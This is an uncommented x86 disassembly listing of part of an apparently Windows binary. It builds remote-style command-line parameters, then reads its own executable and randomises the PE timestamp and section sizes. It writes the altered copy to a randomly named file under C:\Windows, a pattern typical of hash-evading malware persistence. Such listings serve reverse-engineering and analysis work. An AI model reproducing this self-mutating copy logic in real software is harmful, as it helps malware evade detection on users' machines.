lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40d38f
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
add esi, 4
cmp esi, edi
jne 0x40d371
mov esi, dword [esp + 0x5c]
push esi
call fcn.00419049
add esp, 4
mov ecx, dword [esp + 0x50]
push ecx
mov dword [esp + 0x60], ebx
mov dword [esp + 0x64], ebx
mov dword [esp + 0x68], ebx
call fcn.00419049
mov byte [esp + 0x118], 6
mov eax, dword [esp + 0x2c]
add eax, 0xfffffff0
add esp, 4
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jmp 0x40d3f2
lea eax, [ebp - 0x10]
mov byte [esp + 0x114], 6
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40d3fe
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov esi, dword [esp + 0x4c]
inc esi
cmp esi, 4
mov dword [esp + 0x4c], esi
jl 0x40c4c2
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
mov byte [esp + 0x114], 4
mov esi, dword [esp + 0x78]
xor ebx, ebx
cmp esi, ebx
je 0x40d469
mov eax, dword [esp + 0x7c]
mov edi, eax
cmp esi, eax
je 0x40d460
mov eax, dword [esi]
sub eax, 0x10
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40d455
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
add esi, 4
cmp esi, edi
jne 0x40d437
mov esi, dword [esp + 0x78]
push esi
call fcn.00419049
add esp, 4
mov ecx, dword [esp + 0x6c]
push ecx
mov dword [esp + 0x7c], ebx
mov dword [esp + 0x80], ebx
mov dword [esp + 0x84], ebx
call fcn.00419049
mov eax, dword [esp + 0x40]
inc eax
add esp, 4
cmp eax, 3
mov dword [esp + 0x3c], eax
jl 0x40c487
jmp 0x40d7e5
push 0x80004005
call fcn.00401790
push 0x80070057
call fcn.00401790
mov ebp, dword [esp + 0x120]
mov eax, dword [esp + 0x28]
mov edi, dword [ebp]
lea ebx, [eax - 0x10]
sub edi, 0x10
mov dword [esp + 0x20], ebx
cmp ebx, edi
je 0x40d570
cmp dword [edi + 0xc], 0
jl 0x40d565
mov ecx, dword [ebx]
cmp ecx, dword [edi]
jne 0x40d565
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
call eax
cmp dword [ebx + 0xc], 0
lea ecx, [ebx + 0xc]
jl 0x40d508
cmp eax, dword [ebx]
jne 0x40d508
mov esi, ebx
mov edx, 1
lock xadd dword [ecx], edx
jmp 0x40d544
mov ecx, dword [ebx + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov esi, eax
test esi, esi
jne 0x40d521
call fcn.004015e0
mov eax, dword [ebx + 4]
mov dword [esi + 4], eax
mov eax, dword [ebx + 4]
lea ecx, [eax + eax + 2]
push ecx
add ebx, 0x10
lea edx, [eax + eax + 2]
push ebx
push edx
lea eax, [esi + 0x10]
push eax
call fcn.00419425
add esp, 0x10
lea eax, [edi + 0xc]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x40d55d
mov ecx, dword [edi]
mov edx, dword [ecx]
mov eax, dword [edx + 4]
push edi
call eax
add esi, 0x10
mov dword [ebp], esi
jmp 0x40d570
mov ebx, dword [eax - 0xc]
push eax
mov eax, ebp
call fcn.00401470
mov ebp, dword [esp + 0x124]
mov eax, dword [esp + 0x1c]
mov ebx, dword [ebp]
lea esi, [eax - 0x10]
sub ebx, 0x10
cmp esi, ebx
je 0x40d629
cmp dword [ebx + 0xc], 0
jl 0x40d61e
mov ecx, dword [esi]
cmp ecx, dword [ebx]
jne 0x40d61e
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
call eax
cmp dword [esi + 0xc], 0
lea ecx, [esi + 0xc]
jl 0x40d5c1
cmp eax, dword [esi]
jne 0x40d5c1
mov edi, esi
mov edx, 1
lock xadd dword [ecx], edx
jmp 0x40d5fd
mov ecx, dword [esi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov edi, eax
test edi, edi
jne 0x40d5da
call fcn.004015e0
mov eax, dword [esi + 4]
mov dword [edi + 4], eax
mov eax, dword [esi + 4]
lea ecx, [eax + eax + 2]
push ecx
lea edx, [esi + 0x10]
push edx
lea eax, [eax + eax + 2]
push eax
lea ecx, [edi + 0x10]
push ecx
call fcn.00419425
add esp, 0x10
lea eax, [ebx + 0xc]
or edx, 0xffffffff
lock xadd dword [eax], edx
dec edx
test edx, edx
jg 0x40d616
mov ecx, dword [ebx]
mov eax, dword [ecx]
mov edx, dword [eax + 4]
push ebx
call edx
add edi, 0x10
mov dword [ebp], edi
jmp 0x40d629
mov ebx, dword [eax - 0xc]
push eax
mov eax, ebp
call fcn.00401470
mov byte [esp + 0x114], 0x14
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40d651
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0x114], 0xe
mov edi, dword [esp + 0x94]
xor ebp, ebp
cmp edi, ebp
je 0x40d6a8
mov eax, dword [esp + 0x98]
mov ebx, eax
cmp edi, eax
je 0x40d69f
mov eax, dword [edi]
sub eax, 0x10
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40d691
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
add edi, 4
cmp edi, ebx
jne 0x40d673
mov edi, dword [esp + 0x94]
push edi
call fcn.00419049
add esp, 4
mov ecx, dword [esp + 0x88]
push ecx
mov dword [esp + 0x98], ebp
mov dword [esp + 0x9c], ebp
mov dword [esp + 0xa0], ebp
call fcn.00419049
add esp, 4
mov byte [esp + 0x114], 0xd
lea edx, [esi + 0xc]
or eax, 0xffffffff
lock xadd dword [edx], eax
dec eax
test eax, eax
jg 0x40d6ee
mov ecx, dword [esi]
mov edx, dword [ecx]
mov eax, dword [edx + 4]
push esi
call eax
mov byte [esp + 0x114], 7
mov esi, dword [esp + 0x5c]
cmp esi, ebp
je 0x40d73a
mov eax, dword [esp + 0x60]
mov edi, eax
cmp esi, eax
je 0x40d731
mov eax, dword [esi]
sub eax, 0x10
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40d726
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
add esi, 4
cmp esi, edi
jne 0x40d708
mov esi, dword [esp + 0x5c]
push esi
call fcn.00419049
add esp, 4
mov ecx, dword [esp + 0x50]
push ecx
mov dword [esp + 0x60], ebp
mov dword [esp + 0x64], ebp
mov dword [esp + 0x68], ebp
call fcn.00419049
mov byte [esp + 0x118], 6
mov eax, dword [esp + 0x24]
add esp, 4
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x40d778
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0x114], 4
mov esi, dword [esp + 0x78]
cmp esi, ebp
je 0x40d7c4
mov eax, dword [esp + 0x7c]
mov edi, eax
cmp esi, eax
je 0x40d7bb
mov eax, dword [esi]
sub eax, 0x10
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40d7b0
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
add esi, 4
cmp esi, edi
jne 0x40d792
mov esi, dword [esp + 0x78]
push esi
call fcn.00419049
add esp, 4
mov ecx, dword [esp + 0x6c]
push ecx
mov dword [esp + 0x7c], ebp
mov dword [esp + 0x80], ebp
mov dword [esp + 0x84], ebp
call fcn.00419049
add esp, 4
xor ebx, ebx
mov dword [esp + 0x24], ebx
cmp dword [esp + 0x2c], ebx
je 0x40dc6e
mov edx, dword [0x44130c]
mov eax, dword [edx + 0xc]
mov ecx, 0x44130c
call eax
add eax, 0x10
mov dword [esp + 0x18], eax
mov byte [esp + 0x114], 0x1d
mov edx, dword [esp + 0x68]
push 0
lea ecx, [esp + 0x88]
call fcn.00416c70
add esp, 4
mov esi, eax
mov ecx, dword [esp + 0x124]
mov byte [esp + 0x114], 0x1e
mov edx, dword [ecx]
push 0
lea ecx, [esp + 0x48]
call fcn.00416c70
add esp, 4
mov edi, eax
mov edx, dword [esp + 0x120]
mov byte [esp + 0x114], 0x1f
mov edx, dword [edx]
push 0
lea ecx, [esp + 0x44]
call fcn.00416c70
add esp, 4
mov ebx, eax
mov byte [esp + 0x114], 0x20
mov edx, dword [esp + 0x34]
push 0
lea ecx, [esp + 0x34]
call fcn.00416c70
add esp, 4
mov ebp, eax
mov byte [esp + 0x114], 0x21
mov edx, dword [esp + 0x38]
push 0
lea ecx, [esp + 0x24]
call fcn.00416c70
add esp, 4
mov byte [esp + 0x114], 0x22
mov ecx, dword [esi]
mov edx, dword [edi]
mov eax, dword [eax]
push ecx
mov ecx, dword [ebx]
push edx
mov edx, dword [ebp]
push ecx
push 2
push edx
push eax
push str.__u__s__a__s__rt__d__d__s__rip__s__apdparam__s
lea edi, [esp + 0x34]
call fcn.004016f0
mov byte [esp + 0x130], 0x21
mov eax, dword [esp + 0x3c]
add eax, 0xfffffff0
add esp, 0x1c
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40d8f4
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0x114], 0x20
mov eax, dword [esp + 0x30]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40d91c
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0x114], 0x1f
mov eax, dword [esp + 0x40]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40d944
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0x114], 0x1e
mov eax, dword [esp + 0x44]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40d96c
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0x114], 0x1d
mov eax, dword [esp + 0x84]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40d997
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [esp + 0xac]
mov edx, dword [esp + 0xa4]
push ecx
mov ecx, dword [esp + 0x1c]
push edx
call fcn.00409cf0
mov ebp, dword [esp + 0x3c]
mov ebx, dword [esp + 0x40]
add esp, 8
test eax, eax
je 0x40da1e
xor edi, edi
lea esi, [esp + 0x20]
call fcn.00417ed0
mov byte [esp + 0x114], 0x23
mov eax, dword [eax]
push eax
push ebp
push ebx
call fcn.00401130
mov esi, eax
mov byte [esp + 0x120], 0x1d
mov eax, dword [esp + 0x2c]
add eax, 0xfffffff0
add esp, 0xc
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40da09
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
test esi, esi
jne 0x40da3a
push 0x1e
call dword [sym.imp.KERNEL32.dll_Sleep]
inc edi
cmp edi, 0x3e8
jl 0x40d9c1
mov ecx, dword [esp + 0xac]
mov edx, dword [esp + 0xa4]
push ecx
mov ecx, dword [esp + 0x1c]
push edx
call fcn.00409190
add esp, 8
xor edi, edi
mov dword [esp + 0x24], edi
lea esi, [esp + 0x20]
call fcn.00417ed0
mov byte [esp + 0x114], 0x24
mov eax, dword [eax]
push eax
push ebp
push ebx
call fcn.00401130
mov esi, eax
mov byte [esp + 0x120], 0x1d
mov eax, dword [esp + 0x2c]
add eax, 0xfffffff0
add esp, 0xc
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40da88
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
test esi, esi
jne 0x40da9f
push 0x1e
call dword [sym.imp.KERNEL32.dll_Sleep]
inc edi
cmp edi, 0x3e8
jl 0x40da40
jmp 0x40daa7
mov dword [esp + 0x24], 1
mov edx, dword [0x44130c]
mov eax, dword [edx + 0xc]
mov ecx, 0x44130c
call eax
add eax, 0x10
mov dword [esp + 0x2c], eax
mov byte [esp + 0x114], 0x25
mov edx, dword [esp + 0x68]
push 0
lea ecx, [esp + 0x48]
call fcn.00416c70
add esp, 4
mov esi, eax
mov ecx, dword [esp + 0x120]
mov byte [esp + 0x114], 0x26
mov edx, dword [ecx]
push 0
lea ecx, [esp + 0x44]
call fcn.00416c70
add esp, 4
mov edi, eax
mov byte [esp + 0x114], 0x27
mov edx, dword [esp + 0x34]
push 0
lea ecx, [esp + 0x34]
call fcn.00416c70
add esp, 4
mov ebp, eax
push 0
mov edx, ebx
lea ecx, [esp + 0x24]
mov byte [esp + 0x118], 0x28
call fcn.00416c70
add esp, 4
mov byte [esp + 0x114], 0x29
mov edx, dword [esi]
mov ecx, dword [edi]
mov eax, dword [eax]
push edx
mov edx, dword [ebp]
push ecx
push 2
push edx
push eax
push str.__u__s__a__s__rt__d__d__s__apdparam__s
lea edi, [esp + 0x44]
call fcn.004016f0
mov byte [esp + 0x12c], 0x28
mov eax, dword [esp + 0x38]
add eax, 0xfffffff0
add esp, 0x18
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40db7f
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0x114], 0x27
mov eax, dword [esp + 0x30]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40dba7
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0x114], 0x26
mov eax, dword [esp + 0x40]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40dbcf
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0x114], 0x25
mov eax, dword [esp + 0x44]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40dbf7
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [esp + 0xac]
mov edx, dword [esp + 0x34]
mov esi, dword [esp + 0x2c]
push ecx
push edx
mov edx, dword [esp + 0xac]
push ebx
mov ecx, esi
call fcn.0040b5b0
lea eax, [esi - 0x10]
add esp, 0xc
mov byte [esp + 0x114], 0x1d
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40dc3e
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [esp + 0x24]
mov byte [esp + 0x114], 4
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
mov dword [esp + 0x24], ecx
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x40dc6e
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea ecx, [esp + 0xa0]
push ecx
mov dword [esp + 0xa4], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
call dword [sym.imp.KERNEL32.dll_ProcessIdToSessionId]
cmp dword [esp + 0x24], 0
jne 0x40df28
cmp dword [esp + 0xa0], 0
je 0x40df0d
mov eax, dword [0x441f4c]
test eax, eax
je 0x40dcb7
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [0x44130c]
mov eax, dword [edx + 0xc]
mov ecx, 0x44130c
call eax
lea ebx, [eax + 0x10]
mov dword [esp + 0x2c], ebx
mov byte [esp + 0x114], 0x2a
mov eax, dword [ebx - 8]
mov ecx, 1
sub ecx, dword [ebx - 4]
sub eax, 0x104
or eax, ecx
jge 0x40dcfc
mov ecx, 0x104
lea eax, [esp + 0x2c]
call fcn.004015f0
mov ebx, dword [esp + 0x2c]
push 0x104
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov eax, dword [ebx - 8]
push eax
push ebx
call fcn.00419e5c
add esp, 8
test eax, eax
jl 0x40d4a9
cmp eax, dword [ebx - 8]
jg 0x40d4a9
xor ecx, ecx
push ecx
push ecx
push 3
push ecx
push 7
push closesocket
mov dword [ebx - 0xc], eax
push ebx
mov word [ebx + eax*2], cx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x40dee9
lea edx, [esp + 0xe4]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov eax, dword [esp + 0xe4]
mov edi, eax
push eax
mov dword [esp + 0x48], edi
call fcn.00418e1e
add esp, 4
mov ebp, eax
push 0
lea eax, [esp + 0x24]
push eax
push edi
push ebp
push esi
mov dword [esp + 0x54], ebp
mov dword [esp + 0x34], 0
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test ebp, ebp
je 0x40dee9
mov esi, dword [ebp + 0x3c]
mov eax, 0xc3
xor edi, edi
add esi, ebp
call fcn.0040b9d0
mov dword [esp + 0x30], eax
mov eax, 0xffff
call fcn.0040b9d0
mov ecx, dword [esp + 0x30]
shl ecx, 0x10
lea eax, [ecx + eax + 0x61cf2900]
mov ecx, dword [esi + 0x38]
mov dword [esi + 8], eax
movzx eax, word [esi + 6]
mov dword [esp + 0x18], ecx
test eax, eax
jbe 0x40de22
add esi, 0x100
mov dword [esp + 0x3c], eax
lea ebx, [ebx]
mov ebp, dword [esi]
xor edx, edx
mov eax, ebp
div dword [esp + 0x18]
cmp edx, 5
jbe 0x40de14
mov eax, dword [esp + 0x18]
sub eax, edx
dec eax
mov edi, 1
call fcn.0040b9d0
add eax, ebp
mov dword [esi], eax
add esi, 0x28
sub dword [esp + 0x3c], 1
jne 0x40ddf0
mov ebp, dword [esp + 0x40]
mov edx, dword [0x44130c]
mov eax, dword [edx + 0xc]
mov ecx, 0x44130c
call eax
add eax, 0x10
mov dword [esp + 0x18], eax
mov eax, 0x2710
mov edi, 0x3e8
mov byte [esp + 0x114], 0x2b
call fcn.0040b9d0
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
imul esi, eax
push esi
push str.C:Windows_x.exe
lea edi, [esp + 0x20]
call fcn.004016f0
mov edi, dword [esp + 0x20]
add esp, 8
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x40deb1
mov edx, dword [esp + 0x44]
push 0
lea ecx, [esp + 0x34]
push ecx
push edx
push ebp
push esi
mov dword [esp + 0x44], 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x40dec5
push edi
call fcn.0040ba40
add esp, 4
lea eax, [edi - 0x10]
mov byte [esp + 0x114], 0x2a
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40dee9
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
add ebx, 0xfffffff0
mov byte [esp + 0x114], 4
lea ecx, [ebx + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40df0d
mov ecx, dword [ebx]
mov eax, dword [ecx]
mov edx, dword [eax + 4]
push ebx
call edx
push 0x42cf84
push 0x4420d8
mov edx, 1
call fcn.00403d60
push 0x43780c
jmp 0x40df41
push 0x42cf84
push 0x4420d8
mov edx, 1
call fcn.00403d60
push 0x437810
push 0x4420d8
mov edx, 3
call fcn.00403d60
mov eax, dword [esp + 0xa4]
test eax, eax
je 0x40df64
push eax
call fcn.00419063
add esp, 4
mov eax, dword [esp + 0xd4]
test eax, eax
je 0x40df78
push eax
call fcn.00419063
add esp, 4
mov byte [esp + 0x114], 1
mov eax, dword [esp + 0x68]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40dfa0
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0x114], 0
mov eax, dword [esp + 0x34]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40dfc8
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov dword [esp + 0x114], 0xffffffff
mov eax, dword [esp + 0x38]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40dff3
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x24]
mov ecx, dword [esp + 0x10c]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x104
ret